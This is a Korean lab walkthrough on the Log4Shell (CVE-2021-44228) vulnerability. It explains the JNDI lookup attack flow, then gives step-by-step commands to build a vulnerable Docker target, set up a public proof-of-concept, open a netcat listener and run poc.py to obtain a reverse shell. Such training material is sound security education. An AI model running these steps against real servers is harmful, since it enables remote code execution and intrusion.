Log4j RCE 공격 실습
■ 실습 전 사전 지식
□ Log4j란
- Log4j는 로깅 기능을 제공하는 Apache 재단의 무료 오픈소스 프로그램으로, 자바 기반의 모든 애플리케이션에서 사용 가능하며, 많은 자바 환경의 서비스에서 로그 기록을 위해 사용하는 프로그램
□ Log4j 취약점 분석
Log4Shell(CVE-2021-44228)
1) 취약점 개요
- Log4Shell 취약점은 Log4j에서 구성, 로그 메시지 및 매개 변수에 사용되는 JNDI에서 발생하는 취약점으로, 악의적인 입력값을 검증하지 않아 발생. 공격자는 Lookup 기능을 악용하여 LDAP 서버에 악의적인 코드 삽입이 가능한 취약점
* JNDI(Java Naming and Directory Interface) : JAVA 응용 프로그램이 필요한 자원 및 실행에 필요한 다른 프로그램 정보를 찾을 수 있는 기능 제공
CVE ID | CVE-2021-44228 |
유형 | 원격 코드 실행 |
심각도 | 심각(Critical) |
CVSS 점수 | 10.0 |
영향 받는 버전 | 2.0-beta9 ~ 2.14.1 이하 |
2) 공격 흐름도
① Log4j 공격을 위하여 User-agent, X-Api-Version 등 HTTP Header에 JNDI 공격 수행
② 부적절한 입력값 검증을 하지 않아 외부에 있는 공격자 LDAP에 쿼리 전송
③ 서버에 공격 구문이 삽입된 Exploit.class 전달
④ 공격 코드가 삽입된 class파일을 다운받고 실행하여 RCE 공격이 동작
3) 공격 시나리오
① 공격자는 쿼리 수신 서버를 구성할 때 공격 명령어를 미리 지정
② 명령어 지정을 통해 쿼리에 쓰일 이름을 랜덤 문자 6자로 생성
③ 공격자는 쿼리 송신 서버에 공격 쿼리를 웹 페킷에 담아 피해 서버에 발송
④ 피해 서버의 취약한 log4j는 공격자가 발송한 웹 패킷에 포함된 공격 쿼리 부분을 추출하여 다시 공격자의 쿼리 수신 서버로 전송
⑤ 쿼리 수신 서버는 피해 서버에게 악성 Class 파일을 다운로드하라는 명령을 전달
⑥ 피해 서버는 쿼리 수신 서버의 웹포트로 접속하여 ‘ExecTemplateJDK’ 문자와 JDK 버전 정보로 조합된 파일명을 가진 악성 Class 파일을 다운로드 및 실행하여 명령을 수행
⑦ 명령의 결과로 악성코드 유포지에서 최종 악성코드가 다운로드
3) 참고 자료
- KISA에서 발행한 Log4j 위협 대응 보고서로 자세한 공격 설명 및 대응 방법에 대해 기재
https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000127&nttId=36476&menuNo=205021
KISA 보호나라&KrCERT/CC
KISA 보호나라&KrCERT/CC
www.boho.or.kr
■ 실습 진행
□ 실습 환경
- Kali Linux에서 Docker를 사용하여 Log4j RCE 공격에 취약한 서버 구성
- 이 실습의 목표는 Log4j 취약점을 이용하여 리버스 쉘 획득이 목표
Step 1) Log4j 실습을 위한 취약한 환경 다운로드
- Docker 환경에서 진행할 예정으로, log4j 취약점 PoC 공격 코드 다운로드
경로 : https://github.com/kozmer/log4j-shell-poc
GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.
A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.
github.com
명령어 |
root@kali#git clone https://github.com/kozmer/log4j-shell-poc.git |
Step 2) 도커 이미지 다운로드
명령어 |
root@kali#apt update |
root@kali#apt install docker.io |
Step 3) 다운로드 받은 파일에서 도커 파일 이미지 다운로드 및 build 진행
명령어 |
root@kali#cd log4j-shell-poc |
root@kali#docker build –t log4j-shell-poc . |
Step 4) 도커 환경 네트워크를 host로 설정하면 따로 IP를 지정할 필요 없이 localhost:8080로 접속할 수 있으므로, 도커 환경 네트워크를 host로 구성 후 웹 브라우저에서 'localhost:8080'으로 접속 시, 실습 환경 접근 가능 확인
명령어 |
root@kali#docker run —network host log4j-shell-poc |
Step 5) 공격자 서버 설정을 위해서 Kali에서 자바 환경을 구성할 필요가 있음. 하기에 기재된 경로에서 jdk파일을 다운로드 받아 압축 푼 뒤 jdk를 '/usr/bin/' 경로로 이동
- JDK 다운로드 경로 : https://mirros.huaweicloud.com/java/jdk/8u202-b08/
명령어 |
root@kali#cd Downloads |
root@kali#tar –xf jdk-8u202-linux-x64.tar.gz |
root@kali#mv jdk1.8.0_202 /usr/bin/ |
Step 6) 다운로드 받았던 실습 환경 디렉토리로 이동 후, 공격 코드인 'poc.py'을 편집기로 열어서 os 경로를 설치한 경로로 설정
명령어 |
root@kali#cd log4j-shell-poc |
root@kali#mousepad poc.py |
Step 7) 리버스 커넥션을 위하여 netcat을 통해 대기 후 공격 코드 실행 후, 생성된 쿼리를 웹 브라우저에 삽입 시, 리버스 커넥션 연결됨을 확인
명령어 |
root@kali#nc –lvnp [Listen 포트] |
root@kali#python3 poc.py —userip [Kali IP] --webport=8000 —lport [Listen 포트] |